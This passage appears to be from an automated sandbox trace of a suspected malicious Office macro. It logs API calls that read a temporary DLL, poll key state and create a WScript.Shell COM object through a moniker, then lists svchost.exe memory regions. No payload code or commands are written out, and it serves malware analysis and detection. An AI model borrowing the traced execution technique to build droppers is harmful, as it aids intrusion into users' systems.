C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll: 0 Error#0:The operation completed successfully.\r\n\n") [0123.152] LocalFree (hMem=0xca853b0) returned 0x0 [0123.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0xcb78ad8 [0123.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x38) returned 0xc8ec740 [0123.152] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76720000 [0123.153] GetProcAddress (hModule=0x76720000, lpProcName="AreFileApisANSI") returned 0x7673f300 [0123.153] AreFileApisANSI () returned 1 [0123.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb78ad8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0123.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x66) returned 0xcb51100 [0123.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb78ad8, cbMultiByte=-1, lpWideCharStr=0xcb51100, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll") returned 51 [0123.154] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\yb2b4.tmp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x196ea4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc88 [0123.154] GetFileType (hFile=0xc88) returned 0x1 [0123.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb51100 | out: hHeap=0x5c0000) returned 1 [0123.154] CloseHandle (hObject=0xc88) returned 1 [0123.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb78ad8 | out: hHeap=0x5c0000) returned 1 [0123.155] AreFileApisANSI () returned 1 [0123.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf493840, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0123.155] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x66) returned 0xcb51100 [0123.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf493840, cbMultiByte=-1, lpWideCharStr=0xcb51100, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll") returned 51 [0123.155] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\yB2B4.tmp.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\yb2b4.tmp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x196ecc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc88 [0123.155] GetFileType (hFile=0xc88) returned 0x1 [0123.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xcb51100 | out: hHeap=0x5c0000) returned 1 [0123.155] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0xca81390 [0123.156] ReadFile (in: hFile=0xc88, lpBuffer=0xca81390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x196efc, lpOverlapped=0x0 | out: lpBuffer=0xca81390*, lpNumberOfBytesRead=0x196efc*=0xc9, lpOverlapped=0x0) returned 1 [0123.156] ReadFile (in: hFile=0xc88, lpBuffer=0xca81390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x196efc, lpOverlapped=0x0 | out: lpBuffer=0xca81390*, lpNumberOfBytesRead=0x196efc*=0x0, lpOverlapped=0x0) returned 1 [0123.156] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0xca81390 | out: hHeap=0x5c0000) returned 1 [0123.156] CloseHandle (hObject=0xc88) returned 1 [0123.157] GetLastError () returned 0x0 [0123.158] GetProcAddress (hModule=0x76910000, lpProcName="FlsGetValue") returned 0x769bf350 [0123.158] SetLastError (dwErrCode=0x0) [0123.158] GetLastError () returned 0x0 [0123.158] SetLastError (dwErrCode=0x0) [0123.159] GetLastError () returned 0x0 [0123.159] SetLastError (dwErrCode=0x0) [0123.160] GetLastError () returned 0x0 [0123.160] SetLastError (dwErrCode=0x0) [0123.305] Sleep (dwMilliseconds=0x0) [0123.378] GetAsyncKeyState (vKey=3) returned 0 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.378] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.379] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.379] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.379] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.379] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0123.379] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x34, wMilliseconds=0x20c)) [0123.379] Sleep (dwMilliseconds=0x0) [0123.428] SetErrorMode (uMode=0x8001) returned 0x8001 [0123.428] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1 [0123.428] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0123.429] SetErrorMode (uMode=0x8001) returned 0x8001 [0123.429] GetProcAddress (hModule=0x743d0000, lpProcName="KillTimer") returned 0x74408aa0 [0123.429] KillTimer (hWnd=0x0, uIDEvent=0x7f7d) returned 1 [0123.429] GetLastError () returned 0x0 [0123.431] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.431] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.431] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.431] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x1 [0123.432] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.432] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.432] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.432] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.432] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0123.432] CreateBindCtx (in: reserved=0x0, ppbc=0x197808 | out: ppbc=0x197808*=0xc8ec480) returned 0x0 [0123.433] MkParseDisplayName (in: pbc=0xc8ec480, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x19780c, ppmk=0x197810 | out: pchEaten=0x19780c, ppmk=0x197810*=0xc8ebd40) returned 0x0 [0123.434] IUnknown:Release (This=0xc8ec480) returned 0x0 [0123.434] BindMoniker (in: pmk=0xc8ebd40, grfOpt=0x0, iidResult=0x695f8088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x197804 | out: ppvResult=0x197804*=0x8cec49c) returned 0x0 [0123.434] IUnknown:Release (This=0xc8ebd40) returned 0x0 [0123.436] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197bac | out: ppsaOut=0x197bac) returned 0x0 [0123.436] SafeArrayAllocData (psa=0xc85a458) returned 0x0 [0123.441] SafeArrayDestroyData (psa=0xc85a458) returned 0x0 [0123.441] SafeArrayDestroyDescriptor (psa=0xc85a458) returned 0x0 [0123.446] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.446] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.446] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.446] VarCmp (pvarLeft=0x197d44, pvarRight=0x197d34, lcid=0x0, dwFlags=0x30001) returned 0x1 [0123.447] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.447] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.447] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.447] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0123.447] VarCmp (pvarLeft=0x19799c, pvarRight=0x19798c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0123.447] CreateBindCtx (in: reserved=0x0, ppbc=0x197808 | out: ppbc=0x197808*=0xc8ebd40) returned 0x0 [0123.448] MkParseDisplayName (in: pbc=0xc8ebd40, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x19780c, ppmk=0x197810 | out: pchEaten=0x19780c, ppmk=0x197810*=0xc8ec480) returned 0x0 [0123.448] IUnknown:Release (This=0xc8ebd40) returned 0x0 [0123.449] BindMoniker (in: pmk=0xc8ec480, grfOpt=0x0, iidResult=0x695f8088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x197804 | out: ppvResult=0x197804*=0x8cec64c) returned 0x0 [0123.449] IUnknown:Release (This=0xc8ec480) returned 0x0 [0123.452] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197bac | out: ppsaOut=0x197bac) returned 0x0 [0123.452] SafeArrayAllocData (psa=0xc859f78) returned 0x0 [0123.455] SafeArrayDestroyData (psa=0xc859f78) returned 0x0 [0123.455] SafeArrayDestroyDescriptor (psa=0xc859f78) returned 0x0 [0123.460] SafeArrayDestroyData (psa=0xc85d2a8) returned 0x0 [0123.469] SafeArrayAllocData (psa=0xc85d2a8) returned 0x0 [0123.469] SafeArrayDestroyData (psa=0xc85d2a8) returned 0x0 [0123.469] SafeArrayDestroyDescriptor (psa=0xc85d2a8) returned 0x0 Thread: id = 16 os_tid = 0x1234 Thread: id = 17 os_tid = 0x1238 Thread: id = 112 os_tid = 0x12d0 Thread: id = 113 os_tid = 0x12d4 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75956000" os_pid = "0x360" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abff" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 629 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 630 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 631 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 632 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 633 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 634 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 635 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 636 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 637 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 638 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 639 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 640 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 641 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 642 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 643 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 644 start_va = 0x440000 end_va = 0x441fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 645 start_va = 0x450000 end_va = 0x454fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 646 start_va = 0x460000 end_va = 0x46ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 647 start_va = 0x470000 end_va = 0x472fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 648 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 649 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 650 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 651 start_va = 0x5d0000 end_va = 0x5d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 652 start_va = 0x5f0000 end_va = 0x5f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 653 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 654 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 655 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 656 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 657 start_va = 0x8b0000 end_va = 0x8bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 658 start_va = 0x8c0000 end_va = 0x8c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 659 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 660 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 661 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 662 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 663 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 664 start_va = 0xb90000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 665 start_va = 0xc90000 end_va = 0xc93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 666 start_va = 0xca0000 end_va = 0xcb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 667 start_va = 0xcc0000 end_va = 0xcc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 668 start_va = 0xcd0000 end_va = 0xd14fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 669 start_va = 0xd20000 end_va = 0xd2cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 670 start_va = 0xd30000 end_va = 0xd36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 671 start_va = 0xdc0000 end_va = 0xdc8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 672 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 673 start_va = 0xde0000 end_va = 0xde1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 674 start_va = 0xdf0000 end_va = 0xdf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 675 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 676 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 677 start_va = 0x1000000 end_va = 0x1336fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 678 start_va = 0x1340000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 679 start_va = 0x1440000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 680 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 681 start_va = 0x15c0000 end_va = 0x15c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 682 start_va = 0x15d0000 end_va = 0x15e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 683 start_va = 0x15f0000 end_va = 0x15f9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 684 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 685 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 686 start_va = 0x1800000 end_va = 0x18dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 687 start_va = 0x18e0000 end_va = 0x18f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 688 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 689 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 690 start_va = 0x1a80000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 691 start_va = 0x1b80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 692 start_va = 0x1c80000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 693 start_va = 0x1d00000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 694 start_va = 0x1d80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 695 start_va = 0x1e80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 696 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 697 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 698 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 699 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 700 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 701 start_va = 0x2480000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 702 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 703 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 704 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 705 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 706 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 707 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 708 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 709 start_va = 0x2c00000 end_va = 0x2c8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 710 start_va = 0x2c90000 end_va = 0x2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 711 start_va = 0x2d10000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 712 start_va = 0x2e10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 713 start_va = 0x2f10000 end_va = 0x300ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 714 start_va = 0x3010000 end_va 